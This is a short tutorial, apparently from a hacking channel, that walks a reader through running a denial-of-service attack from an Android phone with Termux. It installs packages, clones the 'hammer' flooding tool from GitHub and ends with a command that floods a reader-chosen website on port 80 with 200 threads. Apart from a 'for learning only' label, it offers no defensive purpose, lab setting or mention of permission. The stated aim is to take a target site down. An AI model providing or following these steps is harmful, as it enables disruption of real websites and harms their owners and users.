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🔰Ddos attack with Android operating system and termux software🔰 for learning only

Well, in this tutorial, we will teach you how to attack and target a target site with the Thermox program that you can download from Google Play and disable it.

Well, first download and install the termux program from Google Play
- We enter all the commands that I say in order.
This attack is done through the Linux hammer tool

Well, enter the codes in order.

First we install a series of packages for our work.
pkg install git
With this code, it installs the Jet package and asks you to download it
y / n
You enter y as a confirmation and press Enter, as well as the next package
pkg install python

Well, we installed the packages, now we download the hammer tool with the following code

git clone https://github.com/cyweb/hammer

Well, after entering this command, the tool will be downloaded. If you enter the ls command, you will see that a folder called hammer has been created. To open the folder, we enter the following command.

cd hammer
  Well, we entered the folder and again to see the contents of the folder, we enter the ls command

Now everything is ready to start the attack
Enter the following code
chmod 777 hammer.py

Well, when you enter the last code, the attack on the desired site will start
python hammer.py -s xxxxxxxx.com -p 80 -t 200

Instead of xxxxxxx.com, enter the site you want without www.
And after entering the command and interrupting the attack, it starts

Friends, to enter the codes, be sure to pay attention to the distance between them. 

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